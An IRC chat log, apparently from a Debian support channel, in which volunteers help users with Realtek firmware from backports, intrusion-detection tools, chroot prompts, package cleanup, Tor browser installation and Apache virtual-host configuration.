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907[04:14:42] <learnerwind> missbob: Linux Aires
4.7.0-0.bpo.1-amd64 #1 SMP Debian 4.7.8-1~bpo8+1 (2016-10-19) x86_64
GNU/Linux
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909[04:14:48] <jmcnaught> learnerwind: could you also show us
"dmesg | grep -i firmware" ?
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910[04:14:58] <missmbob> learnerwind: and lspci -nn
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911[04:15:18] <learnerwind> missbob: [ 19.038691] r8169
0000:02:00.2: firmware: direct-loading firmware rtl_nic/rtl8411-1.fw
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916[04:16:15] <learnerwind> missbob:
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917[04:16:18] <learnerwind>
replaced-url
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919[04:16:25] <sm00th> I think I figured it out
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920[04:16:34] <missmbob> learnerwind: dpkg -l firmware-realtek
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921[04:16:54] <sm00th> I don't know what I did I hit window
button plus s or something
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925[04:18:37] <jmcnaught> ,file rtl8411-1.fw
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926[04:18:41] <judd> Search for rtl8411-1.fw in jessie/amd64:
firmware-realtek: lib/firmware/rtl_nic/rtl8411-1.fw
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928[04:18:59] <jmcnaught> learnerwind: can you show us more
complete output from "apt-get install firmware-realtek",
not just one line
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929[04:19:16] <learnerwind> dpkg -l firmware-realtek
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930[04:19:16] <dpkg> ii firmware-realtek 3.1-2
learnerwind's private warez collection
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931[04:19:18] <learnerwind>
replaced-url
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932[04:19:37] <missmbob> learnerwind: okay so you're not
using the jessie-backports version
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933[04:19:47] <missmbob> learnerwind: you might want to try
that. then restart.
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935[04:20:24] <sm00th> hmm maybe that was the plasma desktop
shell thign?
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937[04:20:53] <learnerwind> should i remove --purge and then try
to reinstall it again?
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939[04:21:27] <missmbob> no you can just install the
jessie-backports onon over it
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940[04:21:46] <sm00th> jmcnaught, thats what it was man haha
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941[04:21:50] <sm00th> the plasman shell activity manager
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942[04:21:53] <sm00th> when you do a new activity
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944[04:22:08] <jmcnaught> sm00th: pebkac ;)
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945[04:22:52] <learnerwind> wich command should i run?
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946[04:23:18] <jmcnaught> learnerwind: "apt-get -t
jessie-backports install firmware-realtek"
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948[04:24:11] <learnerwind> i've tried it. sending the
outpu
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949[04:24:17] <sm00th> jmcnaught, virtual desktops
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954[04:24:32] <learnerwind>
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955[04:24:53] <sm00th> they are called activites in kde,
i've never used them, but I must be hitting some shortcut for
them. good now i can sleep tonight haha
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958[04:25:29] <missmbob> learnerwind: did you seriously install
jessie-backports kernel without adding jessie-backports to
sources.list ?
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960[04:25:40] <jmcnaught> sm00th: yeah i remember KDE
activities. they're different than virtual desktops.. you can
have different widgets or plasmoididoodads on each one
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963[04:25:49] <sm00th> ya
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964[04:25:49] <missmbob> learnerwind: oh, i bet you just
didn't add non-free to the jessie-backports line in
sources.list
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965[04:26:14] <learnerwind> deb
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968[04:26:23] <learnerwind> oh!!!!
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969[04:26:24] <learnerwind> ok
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970[04:26:25] <learnerwind> i got
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971[04:26:30] <learnerwind> main contrib nonfree
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972[04:26:40] <random_numbers> Has anyone here tried out
logcheck?
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973[04:27:12] <jmcnaught> random_numbers: i have it installed on
my servers
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975[04:27:34] <random_numbers> jmcnaught: How exactly does it
work? How well does it cope with say, logrotate activity?
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976[04:27:37] <jmcnaught> though.. i've been kinda lazy in
making regexs for it so it's kinda spammy
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983[04:28:56] <learnerwind> i ran updating and now it is
installing a new version
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986[04:29:09] <learnerwind> newer*
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987[04:29:18] <jmcnaught> random_numbers: it basically emails
root about any log entry that does not match one of its regexs
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989[04:29:33] <missmbob> learnerwind: reboot. then we'll
want to see that dmesg output again
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992[04:30:30] <learnerwind> ok. Thank you missbob and jmcnaught.
And again sorry for the trouble i didnt knew what was happening
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994[04:30:37] <learnerwind> rebooting now
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997[04:31:40] <jmcnaught> random_numbers: so you need to do a
bit of work writing regex patterns for it, with the goal of total
silence from logcheck *except* for stuff you want to hear about
(messages that are out of the ordinary)
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999[04:32:08] <MoonKid> hi @all
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1003[04:33:24] <MoonKid> I try to find a way to replace the login
promt on tty1 with e.g. "journalctl -f". But I can not
find something about it. Maybe I use the wrong search terms?
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1006[04:33:53] <random_numbers> jmcnaught: Ah, I see. Damn. One
would need to study the logs of whatever log files one is having
logcheck follow pretty in-detail.
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1008[04:34:19] <missmbob> MoonKid: -f is "Follow the
journal"
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1010[04:34:50] <missmbob> MoonKid: --help or man
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1013[04:35:12] <missmbob> i have no idea how journalctl fits into
this equation though
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1015[04:35:23] <MoonKid> missmbob: man of what? Which component I
need to modify.
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1017[04:35:45] <missmbob> what you're saying makes no sense.
but if you want to learn about journalctl you man journalctl
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1018[04:35:51] <learnerwind> missbob: do you want all output of
dmsg?
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1019[04:35:58] <learnerwind> dmesg*
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1020[04:37:04] <random_numbers> I'd been thinking that
logcheck could serve as a poorman's replacement of a proper
HIDS. It kinda doesn't do the same thing at all.
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1021[04:37:20] <missmbob> learnerwind: dmesg | grep -i firmware
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1025[04:37:37] <jmcnaught> MoonKid: you want tty1 to display the
journal?
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1027[04:37:46] <learnerwind> [ 18.473980] r8169 0000:02:00.2:
firmware: direct-loading firmware rtl_nic/rtl8411-1.fw
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1028[04:38:00] <missmbob> learnerwind: so...any luck? is it
working?
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1029[04:38:08] <learnerwind> nop :(
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1030[04:38:36] <missmbob> how are you configuring the interface?
or is no interface even showing up?
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1032[04:39:02] <jmcnaught> random_numbers: i also use tripwire,
which is a pain in the neck and tricky to automate, but not that
difficult to use
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1033[04:39:03] <learnerwind> no. It does not appear in 'ip l
l'
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1034[04:39:03] <MoonKid> jmcnaught: yes
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1036[04:39:36] <learnerwind> maybe because when i installed it
hasn't the interface
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1038[04:39:56] <missmbob> no that's not it. i'm not
sure what is, though. hrm.
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1042[04:41:04] <random_numbers> jmcnaught: I see. I'd been
debating using samhain due to the centralized flow it provides.
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1044[04:41:31] <jmcnaught> MoonKid: i've never tried, but if
i did i would look at /lib/systemd/system/debug-shell.service as an
example (it runs bash as root on tty9)
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1046[04:42:16] <jmcnaught> MoonKid: i would also create a new
user in the systemd-journal and adm group to run that service as
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1048[04:43:07] <missmbob> i recently started having to use
several build chroots. my problem is every terminal instance says
@host_hostname. confuses the hell out of me and i can't keep
track of which chroot i'm in. never had to deal with this
before. any thoughts?
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1050[04:44:13] <jmcnaught> missmbob: what says @host_hostname?
the terminal emulator's window title?
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1051[04:44:23] <missmbob> bash prompt
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1053[04:44:28] <missmbob> user@host_hostname
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1059[04:47:50] <jmcnaught> missmbob: so apparently PS1 has
${debian_chroot:+($debian_chroot)} is set in /etc/bash.bashrc. tl;dr
if you put a word in /etc/debian_chroot it ends up in $PS1
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1061[04:48:20] <missmbob> jmcnaught: ah, great, thanks
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1076[04:55:01] <missmbob> jmcnaught: that works perfectly. adding
it to wiki.debian.org/chroot#Configuration
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1079[04:56:56] <jmcnaught> missmbob: good thinking. i didn't
know about it before now either
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1090[05:00:17] <random_numbers> jmcnaught: Any opinion on
samhain?
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1099[05:12:30] <random_numbers> AIDE, Samhain, TripWire, OSSEC,
which one should I try with as a noob with a few machines I want to
monitor?
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1101[05:14:32] <jmcnaught> random_numbers: i can't really
remember why i picked tripwire instead of samhain. i think it was
because it was depended on by one of the harden metapackages that
Debian used to have
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1104[05:15:17] <jmcnaught> i'd definitely use one that is in
Debian. try them all and see which one has the right balance of
paranoia and inconvenience for you
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1107[05:16:30] <jmcnaught> random_numbers: "aptitude search
~Gsecurity::ids" to see packages with that debtag
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1108[05:16:44] <random_numbers> '~Gsecurity::ids' ?
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1109[05:17:13] <jmcnaught> random_numbers: search by debtag,
which are shown at the bottom of "aptitude show $package"
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1111[05:17:44] <random_numbers> I see. Hm, guess I'd need to
install aptitude.
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1112[05:17:56] <jmcnaught> you don't have aptitude
installed?
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1113[05:18:02] <jmcnaught> there's also a debtags program
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1114[05:18:06] <missmbob> i dont either to be fair :P
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1115[05:18:56] <jmcnaught> aptitude has the best search, and is
priority standard
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1116[05:19:18] <missmbob> it's everything i've hated.
like gnome. assuming what i want
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1117[05:19:42] <random_numbers> I just never really saw the point
when apt does most of what I want.
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1121[05:20:28] <jmcnaught> mostly i use it for the superior
searching, but it's sometimes handy to see what using a
different dependency resolver will do
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1129[05:21:02] <missmbob> jmcnaught: other than freezing times to
be ready you use something other than stable?
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1130[05:21:12] <jmcnaught> also i tend to always install packages
that are priority required, important, and standard
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1131[05:21:17] <random_numbers> That expression you gave out
doesn't seem to work with debtags.
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1135[05:22:55] <jmcnaught> missmbob: sometimes i use testing
during the freeze period. i ran testing+unstable for most of
wheezy's development
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1139[05:25:50] <random_numbers> Oh, I've got no debtags
source list.
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1144[05:27:28] <jmcnaught> random_numbers: ~G is an aptitude
search pattern for filtering by debtag. ~G is not a valid option for
the debtags program
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1147[05:29:19] <jmcnaught> "debtags search
security::ids" but i usually show people the aptitude command
because it's more likely to be installed on a typical Debian
system
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1148[05:29:54] <random_numbers> jmcnaught: I see. That explains
some it, but I don't have a tag-source anyway, so that
wouldn't work either.
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1150[05:30:06] <random_numbers> I need to find out just where
I'd get such sources.
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1155[05:35:28] <missmbob> not some of it. all of it. contrain it
before
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1157[05:37:58] <missmbob> there are all gone. this is awful. you
really shouldn't give the ansers
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1158[05:38:07] <missmbob> answers*
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1160[05:40:38] <random_numbers> Nevermind, I'd messed up.
debtags search works fine.
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1167[05:43:54] <gebruiker> How do I get rid of unneeded
dependencies without using autoremove, after I have executed apt-get
remove --purge xfce4*?
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1168[05:45:05] <random_numbers> You could check the reverse
dependencies for xfce4 and purge those.
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1171[05:45:23] <random_numbers> That does mean you need to check
each one to see if something else isn't linked to them though.
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1172[05:45:44] <random_numbers> Very inefficient, as you probably
notice.
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1173[05:45:57] <mutante> deborphan or debfoster so something?
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1175[05:46:51] <mutante> deborphan = determines which packages
have no other packages depending on their installation
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1176[05:48:09] <mutante> debfoster = detect packages that have
been installed only because other packages depended on them
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1177[05:48:14] <mutante> i always forget which is which
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1178[05:48:16] <gebruiker> mutante: i just checked but deborphan
also suggests apps I do use
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1179[05:48:44] <mutante> hmm. ok..
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1181[05:48:59] <gebruiker> i.e redshift-gtk, which runs 24/7 on
my machine
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1185[05:49:58] <mutante> sounds like project management software
based on reddit
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1187[05:50:36] <mutante> ooh, i see :)
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1188[05:50:46] <gebruiker> nah i adjusts the brightness of the
monitor basedupon sun's position
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tablets yet? Not Android chroots mind you. I was considering a
Surface Pro 4 or something similar, but I wanted to see if anyone
more experienced than I could shed some light on it.
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1236[06:15:26] <sn0wmonster> I am aware that some of these x86
tablets use a 32-bit EUFI without legacy BIOS support, and that
causes booting issues.
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1261[06:35:11] <Agafnd> So I was playing gnujump in fullscreen
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1638[10:40:38] <sumi> re
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1641[10:41:07] <sumi> is there a historical reason for syslog
facility system? seems a bit silly to have this kind indirection.
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1693[11:08:44] <JohnMS> I'm working with a games industry
company and we're looking into supporting our applications on
GNU/Linux. What is the current level of support for the LSB in
Debain?
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1706[11:12:14] <Lowl3v3l> JohnMS, if you mean the Linux Standard
Base its 4.1 in jessie.
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1708[11:12:55] <Lowl3v3l> JohnMS, though this is JUS a package,
it doesn't imply full compliance
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1709[11:13:21] <JohnMS> Lowl3v3l: I do, and thanks. Does it imply
anything?
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1710[11:14:13] <Lowl3v3l> JohnMS, take a look at the package, i
just did a quick package search for it ;)
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1711[11:14:25] <Lowl3v3l> JohnMS, i have no real clue about LSB
tbh^^
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1712[11:14:49] <mrrhq> JohnMS: If you don't want to get into
packaging or package maintaining, then I'll just throw AppImage
as a suggestion.
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1715[11:15:22] <JohnMS> Lowl3v3l: I'll look at the package.
Thanks.
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1717[11:16:00] <JohnMS> mrrhq: I'll also look into AppImage
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1718[11:16:14] <mrrhq> Nice. Good luck on your game. :)
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1720[11:16:29] <JohnMS> Thanks.
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1861[12:21:20] <bipul> Why i am not able to see any debian pages,
it says "<p>You are not allowed to access
this!</p>"
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1868[12:26:07] <james364> fuck that's easy and i feel
stupid. sudo -u
replaced-url
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1870[12:26:18] <cra1g321> bipul got a link you can share so
someone else can try ?
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1872[12:26:38] <unborn> bipul: whats the link?
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1873[12:26:42] <bipul> cra1g321, Sorry i don't get you?
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1874[12:27:07] <cra1g321> you said you can't see debian
pages, i'm assuming you're talking about the website ?
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1875[12:27:49] <bipul> cra1g321, Yes
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1876[12:28:16] <bipul> unborn,
replaced-url
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1878[12:28:30] <bipul> I was trying to play with hurd on my
rasberrypi
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1879[12:28:42] <cra1g321> that page opens fine here
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1881[12:28:49] <unborn> bipul: well must be something on your
network.. I am able to access the page without issues
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1882[12:29:16] <bipul> But i found many debian pages i am not
able to open.
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1883[12:29:33] <bipul> Forbidden
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1884[12:29:33] <bipul> <p>You are not allowed to access
this!</p>
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1885[12:29:42] <bipul> :(
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1888[12:30:14] <TomTomTo1> bipul: you can ask #debian-replaced-url
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1891[12:32:35] <bipul> Yes let me ask there TomTomTo1
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1892[12:33:21] <unborn> bipul:
replaced-url
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1896[12:34:32] <missmbob> hell debian only recently started
working on rasberrypi. hurd seems like a stretch
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1899[12:34:54] <missmbob> uh. that was unintentional
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1916[12:42:23] <doublehp> does this imply the issue is in the NFS
stuff ? or could the cause of problem be elsewhere ? how to track if
the issue is related to server or client ?
replaced-url
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1924[12:51:17] <airking> I have a csv file I am generating from a
mysql database that was set up from another user. I would like the
SQL procedure to be able to place the .csv folder in a file under my
account so that I can read it and then move it to another storage
area. What would I need to do to do this?
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1926[12:51:28] <airking> That file would be owned by the mysql
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1931[12:56:33] <candidat_> hello people ! how are you guys ? i m
looking for a good ebook about bash linux do you have an ebook about
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1932[12:56:46] <nore> hi all, I've got a pretty big problem
when trying to update my debian (stretch) to use the 4.7.0 kernel:
when I try to install the package linux-headers-4.7.0-1-amd64, I get
a kernel panic at the configuration step, with the error
"Timeout: Not all CPUs entered broadcast exception
handler". Do you have any idea of what could be causing that?
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1934[12:57:10] <mik> candidat_:
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1935[12:57:15] <missmbob> !tell nore about debian-next
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1936[12:58:28] <nore> missmbob: it seems like I can't
connect to the server irc.oftc.net, is the port the usual one?
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1938[12:59:11] <missmbob> yes. i'm on it right now. you
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1939[12:59:40] <candidat_> thanks mik !
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1940[12:59:51] <nore> oh, I just saw the ssl port was not 6666,
problem solved
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1941[13:00:01] <nore> now asking the question on #debian-next
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1942[13:00:13] <cra1g321> the ssl port for irc networks is
usually 6697 or 7000
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1944[13:01:06] <nore> cra1g321: ah, thanks
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1972[13:19:54] <toogley> is there a way, i can *noninteractively*
make "install the package which contains $program " ?
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1973[13:21:31] <themill> only if you can better define what you
mean by $program
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1974[13:21:59] <FoFooness> hm, you mean unattended?
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1977[13:22:16] <JPT> like apt-get install -y foo or so?
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1999[13:37:00] <RoyK> toogley: something like ansible?
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2024[13:52:53] <toogley> themill: some binary, e.g. /usr/bin/chsh
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2025[13:53:34] <themill> toogley: you need to decide how wide
your search should be. sbin too? other things in "bin"
directories that aren't in the default PATH?
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2027[13:53:37] <themill> «apt-get install $(apt-file search
-l -x '^/(usr/|)s?bin/foo$')»
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2028[13:54:06] <toogley> RoyK: no, i think thats too big for my
solution.
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2030[13:54:47] <RoyK> toogley: ansible isn't really a big
thing :P
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2031[13:55:13] <toogley> themill: everything in $PATH. but as its
anyways used in a script, i can handle $PATH with your command.
thanks
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2034[13:55:42] <themill> toogley: you might like to look at
command-not-found
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2036[13:56:01] <toogley> themill: thx again
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2037[13:56:08] <themill> ,i command-not-found
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2038[13:56:09] <judd> Package command-not-found (admin, optional)
in jessie/amd64: Suggest installation of packages in interactive
bash sessions. Version: 0.2.38-1; Size: 12.7k; Installed: 144k
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2042[13:57:25] <toogley> RoyK: well, i think i try themill
's suggestion first^^
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2043[13:57:40] <toogley> RoyK: if that doesn't work for me,
i can still look at ansible :P
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2050[14:00:04] <RoyK> toogley: it won't hurt to take a look
at ansible - it's really easy to use
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2052[14:00:48] <RoyK> toogley: you don't need a playlist -
you can just run any command over ssh, really
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2055[14:02:42] <notabyte> Do you have to have perl installed for
debian to work
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2057[14:02:59] <RoyK> notabyte: it comes by default
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2059[14:03:09] <RoyK> notabyte: I guess a few things relies on
perl...
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2062[14:03:39] <RoyK> notabyte: why?
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2064[14:04:16] <notabyte> I don't want useless programs
taking up space
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2067[14:04:59] <themill> notabyte: well since perl isn't
useless, you don't have to worry
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2068[14:05:01] <themill> !next
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2069[14:05:01] <dpkg> Another happy customer leaves the building.
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2070[14:05:06] <RoyK> notabyte: do you have a very small
harddisk? ;)
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2071[14:05:22] <notabyte> i have 64gb flash drive
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2074[14:05:48] <RoyK> notabyte: then don't worry about perl
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2076[14:07:05] <RoyK> notabyte: a minimal install is <2GB and
includes perl, so with 64GB disk space, well, it should suffice
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2087[14:14:43] <sypher> I'm running a minimal install on
this, currently using 962MB, including extra packages I installed
and some data files.
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2089[14:16:32] <missmbob> i fail to see the problem
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2090[14:17:08] <missmbob> hell even adduser is written in perl. a
lot of essential tools are
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2093[14:19:35] <Istanbul_Sea> hello
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very fine to continue your install
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2111[14:29:45] <unborn> so far - I failed to see any issues
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2113[14:30:25] <missmbob> unborn: he has no issue. he was adding
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2114[14:30:44] <unborn> missmbob: ups sorry..
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2130[14:42:02] <gshrikant> Sorry, typo!
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2195[15:16:34] <notabyte> Remember the good old days of linux
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2244[15:33:29] <logono> hello
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2245[15:33:39] <gebruiker> hi
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2246[15:33:46] <gebruiker> xfs uses a lot of memory
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2247[15:33:52] <gebruiker> more so than ext4 it seems
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2249[15:34:05] <logono> hi gebruiker
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2251[15:34:21] <RoyK> gebruiker: not really
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2252[15:34:32] <logono> to install tor on my laptop
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2253[15:34:45] <logono> using the the terminal
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2255[15:34:52] <RoyK> gebruiker: how did you see those data?
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2257[15:35:08] <gebruiker> RoyK: free -h and top
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2258[15:35:13] <logono> there's a command line ?
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2259[15:35:15] <gebruiker> RoyK: jus installed with xfs
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2260[15:35:21] <RoyK> gebruiker: pastebin free -h, please
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2262[15:35:39] <logono> like apt-get tor install ?
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2263[15:35:56] <gebruiker> RoyK:
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2264[15:36:20] <RoyK> -/+ buffers/cache: 482M 2,5G
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2265[15:36:22] <logono> I downloaded it and try his command line
but failed :(
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2266[15:36:27] <RoyK> not a whole lot used
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2267[15:36:50] <gebruiker> RoyK: free 254m - raises questions
marks for me
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2269[15:36:58] <gebruiker> *25M
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2272[15:37:25] <RoyK> gebruiker: that's non-used memory -
linux uses all free memory for buffering/caching, which is good
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2274[15:37:36] <RoyK> unused memory is worthless
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2277[15:37:45] <gebruiker> RoyK: interesting because with ext4 it
used to show free 1.7G
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2278[15:37:50] <dontknow> logono, i guess it is in contrib repo
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2279[15:37:51] <gebruiker> RoyK: why is that?
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2282[15:38:21] <RoyK> gebruiker: because if you use memory for
caching and buffering, you don't need to use disks that much
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2287[15:39:08] <RoyK> gebruiker: you have 2,5GB "free"
memory there, that is, memory used for caching, but that will be
released if it's allocated
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2289[15:39:44] <RoyK> gebruiker: no, neither ext4 nor xfs does
that, it's the block level under that
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2290[15:39:50] <gebruiker> RoyK: i am trying to understand why
ext4 did show free 1.7G and no caching hmm
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2291[15:39:54] <gebruiker> RoyK: oh i see
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2293[15:40:01] <RoyK> s/level/layer/
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2314[15:47:10] <awal1> logono, if you want debian tor pkg, add
contrib component to your sources.list file then install the pkg
called torbrowser-launcher
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2320[15:48:12] <awal1> apt-get update && apt-get install
torbrowser-launcher ^
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2325[15:49:37] <awal1> logono: also there is a backports version
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2326[15:49:41] <logono> thanks al lot awal1
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2327[15:49:51] <logono> i try it
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2328[15:49:51] <awal1> ,v torbrowser-launcher
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2329[15:49:52] <judd> Package: torbrowser-launcher on amd64 --
wheezy-backports/contrib: 0.1.9-1+deb8u3~bpo70+1; jessie/contrib:
0.1.9-1+deb8u3; jessie-backports/contrib: 0.2.6-2~bpo8+1;
stretch/contrib: 0.2.6-2; sid/contrib: 0.2.6-2
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2391[16:13:57] <logono> Yes
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2401[16:17:13] <stoned> Hey there folks and non-folks
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2402[16:17:26] <stoned> I searched, but is ther a ... hmm..
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2403[16:17:30] <logono> It works...
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2405[16:17:38] <stoned> Book writing ... helping... software I
could possibly use?
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2406[16:17:43] <logono> ThanX a lot...
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2408[16:18:03] <stoned> Perhaps a book publishing platform
(something NOT a text editor only). Shooting in the dark.
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2409[16:18:05] <logono> Now, coffee time with friends
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2410[16:18:28] <han-solo> Latex? :)
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2413[16:18:52] <stoned> I KNEW you were gonna say that!
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2415[16:18:54] <mutante> Latex
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2416[16:19:02] <stoned> And don't you have some Kessel runs
to make?
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2417[16:19:03] <han-solo> :}
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2419[16:19:10] <stoned> You only got... 9 parsecs left.
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2420[16:19:12] <stoned> :)
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2422[16:19:43] <logono> good afternoon
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2426[16:19:49] <stoned>
replaced-url
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2427[16:19:50] <logono> ;)
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2429[16:19:58] <stoned> They might not sell weed in Hell.
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2433[16:20:19] <stoned> Oh it's a markup lang.
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2434[16:20:24] <th0r> and the ignore list continues to grow
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2435[16:20:42] <mutante> Did you want help on the actual writing
process ?
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2436[16:20:43] <stoned> th0r: yes. It just did. Thanks.
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2437[16:20:53] <stoned> No. I wanted to see what kind of software
I could use
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2438[16:21:02] <stoned> I am currently publishign using a static
site generator on hugo in markdown files
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2440[16:21:04] <jelly> th0r: please keep such comments to
yourself in the future
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2441[16:21:29] <stoned> I been keyword searching book and
markdown and other stuff through the repos
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2443[16:21:31] <stoned> No dice yet.
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2446[16:22:16] <mutante> stoned: i guess it depends if the end
result is traditional book printed on dead tree or an ebook
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2447[16:22:34] <stoned> Well, self publishing.
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2448[16:22:40] <stoned> So probably ebook/onlnie.
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2449[16:23:07] <stoned>
replaced-url
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2450[16:23:11] <stoned> This looks interesting.
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2453[16:23:43] <stoned> Oh dude..
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2454[16:23:49] <stoned> Bingo. Thanks folks. I'm good.
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2455[16:24:03] <mutante> stoned: is the book about weed?
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2457[16:24:09] <stoned> DMT actually
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2458[16:24:10] <stoned> Two books
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2459[16:24:15] <mutante> lol, ok :)
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2462[16:24:35] <stoned> here
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2463[16:24:42] <mutante> you could probably write them in 5
minutes but it would seem like 5 years
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2464[16:25:01] <stoned>
replaced-url
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2465[16:25:07] <stoned> I got 3 chapters so far.
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2468[16:25:23] <stoned> And another book on mushrooms.
"Hacking the Mycelium Network"
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2469[16:25:25] <stoned> :)
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2471[16:25:45] <mutante> stoned: haha, nice title there
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2472[16:25:50] <stoned> ty. ty.
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2474[16:26:47] <stoned> mutante: you in any chat channel?
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2475[16:27:08] <stoned> (ot, I mean)
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2476[16:27:19] <mutante> somiaj: i'm sure you read
"plan, planet, planet"
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2478[16:27:27] <mutante> stoned: ^
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2479[16:27:48] <stoned> Sorry, don't follow.
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2480[16:27:50] <mutante> stoned: yes, sorry, i'll shut up,
it's offtopic
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2483[16:27:56] <stoned> np.
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2488[16:30:18] <PinkPing> -su : g++ : command not found.
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2489[16:30:20] <PinkPing> how can i do?
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2491[16:31:01] <stoned> install build essentials
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2492[16:31:05] <stoned> !b-e
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2493[16:31:06] <dpkg> from memory, build-essential is a package
designed to help you create executables and build Debian packages.
If you get errors saying gcc cannot create executables or can't
find header files like stdio.h, you need to "aptitude install
build-essential". If you don't plan to compile things, you
don't need this package. See also <qotd49>.
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2494[16:31:14] <stoned> That ought to take care of g++ and all
the rest.
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2495[16:31:27] <stoned> IIRC.
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2496[16:31:32] <PinkPing> install build essentials
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2498[16:31:42] <PinkPing> i don’t know what to odo? stoned
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2500[16:32:09] <han-solo> he just told you what to do
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2501[16:32:22] <PinkPing> install build essentials <—
this is command?
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2503[16:32:26] <stoned> PinkPing: np.
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2504[16:32:30] <PinkPing> starwars han-solo
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2505[16:32:34] <PinkPing> thanks stoned
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2506[16:32:36] <stoned> Read the text that dpkg just said in the
channel
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2507[16:32:40] <stoned> aptitude install build-essential
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2508[16:32:55] <stoned> PinkPing: or apt-get install
build-essential
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2509[16:32:58] <PinkPing> aptitude install build-essential
<— this is command
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2510[16:33:01] <han-solo> apt-get install build-essential
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2511[16:33:15] <PinkPing> thanks
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2512[16:33:16] <PinkPing> :)
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2513[16:33:21] <han-solo> ah
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2515[16:34:20] <PinkPing> it is short for linux using 64g
storage?
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2519[16:35:15] <PinkPing> thanks
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2520[16:35:17] <PinkPing> :)
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2529[16:38:10] <stoned> quarters: zilla?
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2530[16:38:23] <stoned> nm.
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2565[16:49:11] <alien_proximab> test
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2574[16:51:19] <surfist> what do ya suppose a good ircd is? from
the repo (wheezy)
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2577[16:52:14] <elqaz> inspircd
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2584[16:54:53] <surfist> far out :)
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2616[17:05:48] <Exagone313> Hi, how is it done to provide
security fixes to package versions not maintained by their
developers? Does the audit team can really look into every piece of
code without doing mistakes? For example, about oldstable that has
support until 2018. Thanks for your help.
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2618[17:06:31] <nkuttler> Exagone313: lts only supports a limited
set of packages
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2619[17:06:41] <nkuttler> Exagone313: other than that, fixes are
backported when possible
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2620[17:07:27] <dontknow> i think they are getting outside help
for some packages
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2623[17:09:04] <Exagone313> Because more people look into
maintained version codes... Did some big problems happen about that?
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2634[17:14:27] <maziar> I want to write a script i should go to
all directory until the end, how should i handle it ?
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2639[17:16:06] <han-solo> os.path.walk ?
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2640[17:16:08] <Exagone313> maziar: `find . -type d`
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2641[17:16:13] <han-solo> er, damn
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2642[17:16:16] <han-solo> sorry
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2643[17:16:24] <han-solo> wrong channel
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2646[17:17:54] <maziar> Exagone313 i want to find last directory,
for e.g "1/b/3/d" "d" is last directory, how
should i find this directory (I'm writing a script)
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2650[17:19:30] <TomTomTo1> possibly this: find . -type d -links 2
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2652[17:20:23] <jelly> nice
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2715[17:53:35] <frikinz> Hi. Any trick to know a bit more why
aptitude in TUI tries to solve dependency conflict for hours? It now
using 7GB of RAM and that keeps increasing.
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2716[17:54:11] <frikinz> "open" and "closed"
keep on increasing
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2723[17:56:17] <nkuttler> frikinz: which desktop environment?
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2726[17:58:12] <frikinz> nkuttler: kde (and xfce4)
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2727[17:58:49] <frikinz> If at least I would know what its trying
to solve..
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2752[18:05:55] <doublehp> does this imply the issue is in the NFS
stuff ? or could the cause of problem be elsewhere ? how to track if
the issue is related to server or client ?
replaced-url
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2753[18:06:00] <need-help> Hi all I'm on Debian Linux 7 if I
reinstall apache2 I'll loose /var/replaced-url
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2778[18:16:00] <jmcnaught> need-help: if you remove apache2 you
will not lose conffiles. if you purge the apache2 package, you will
lost conffiles. /var/replaced-url
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2780[18:16:36] <SirLagz> I have a box with 3 interfaces, 2 of
them cannot access the internet and one can. For some reason, when
the box first boots, the default gateway is set correctly, but then
after a bit, it sets the default gateway to another interface where
it cannot access the internet. Can't seem to work out where/why
it's setting the second default gateway though...
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2782[18:16:59] <need-help> jmcnaught: I have annonying issue
I'm out of luck no one can help me then I decided to reinstall
apache
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2783[18:17:15] <jmcnaught> need-help: what is the issue?
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2784[18:17:37] <need-help> my friend bought a VPS with 1 domain
and preinstalled wordpress everything worked fine since he bought a
2nd domain and wanted to point it to a directory on the /var/replaced-url
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2786[18:17:56] <need-help> sorry for my English
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2788[18:18:41] <doublehp> SirLagz: each NIC has it's own
DHclient running; latest bail obtained sets the default route. You
settings are completely broken, starting from hardware POV; you
should not wire NICs of the same host to the same network.
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2789[18:18:57] <SirLagz> doublehp: they're not on the same
network. 3 NICs are on 3 different networks.
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2791[18:19:40] <jmcnaught> need-help: do both domains have the
same document root?
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2792[18:19:44] <SirLagz> doublehp: sorry, should have clarified
that the 3 NICs are on 3 separate networks, 2 of the networks cannot
access the internet while one can.
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2793[18:19:52] <doublehp> need-help: before doing any change, you
should have done a backup of the conf; revert to this backup. Then,
redo the changes one by one, untill things break; then, you know
what's wrong
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2795[18:19:58] <need-help> jmcnaught: no differents
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2797[18:20:34] <jmcnaught> need-help: can you show your
virtualhosts from /etc/apache2/sites-enabled/ on
replaced-url
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2798[18:20:37] <doublehp> SirLagz: how can 3 different networks
offer access to internet ? does not change the rest; you are running
3 concurrent dhclient, all offering a default route
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2799[18:20:51] <need-help> sure jmcnaught
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2800[18:20:55] <need-help> 2sec plz
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2801[18:22:01] <SirLagz> doublehp: eh? only 1 network has access
to the internet...though I guess I should set the others with static
IP addresses rather than dhclient.
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2804[18:22:28] <doublehp> SirLagz: then, your question was
ambiguous
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2805[18:22:39] <SirLagz> doublehp: sorry, however I did clarify
later on.
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2809[18:23:58] <doublehp> "2 of the networks cannot access
the internet while one can." depends if it's a base peace
of information, or if it's the problem; if it's a base
information, i don't undertand your problem; if it's your
issue, then, set the machine as bridge or router between then.
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2810[18:24:12] <need-help> jmcnaught:
replaced-url
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2813[18:24:24] <doublehp> SirLagz: also, you don't specify
if you are using IPv4 or v6; the solutino varies
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2814[18:24:26] <SirLagz> doublehp: never mind, I'll just set
static IPs. That's probably a better way of configuring this
host anyway.
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2815[18:24:41] <SirLagz> just never got around to looking at this
host until now
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2816[18:24:41] <doublehp> SirLagz: I know cases where static IP
make things worse
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2826[18:26:28] <SirLagz> doublehp: eh this host should be fine.
It's a pretty simple caching host with 3 NICs for 3 networks,
that is all.
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2832[18:28:08] <jmcnaught> need-help: ummm.. line 74 of your
paste in default-ssl it seems that your SSL private key is in your
DocumentRoot.. that doesn't look right
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2835[18:30:40] <jmcnaught> need-help: going to
replaced-url
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2840[18:33:40] <doublehp> "Installing new version of config
file /etc/network/if-up.d/openssh-server ..." =>
"Connection to server closed by remote host." ... is there
a way to tell sshd to not fire current connexion during service
reload ? I use ss since 1999, and Stretch is the first time this
occurs to me ...
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2842[18:34:58] <doublehp> of course, this made me loose the
aptitude update process ...
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2849[18:37:51] <jmcnaught> need-help: also if your SSL cert
doesn't include both domain names (because you have separate
certificates) then you should useing the SSL* directives inside each
VirtualHost, not having both rely on the directives in default-ssl
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2850[18:38:27] <jmcnaught> need-help:
replaced-url
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2874[18:48:31] <sio_> a few days ago, I wrote some text in a txt
file; today i opened the file and noticed it was almost empty and
has some gibberish symbols; is there anything I can try to recover
it? i checked and my text editor doesn't have a backup
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2877[18:49:40] <RoyK> sio_: what does 'file
filename.txt' tell you?
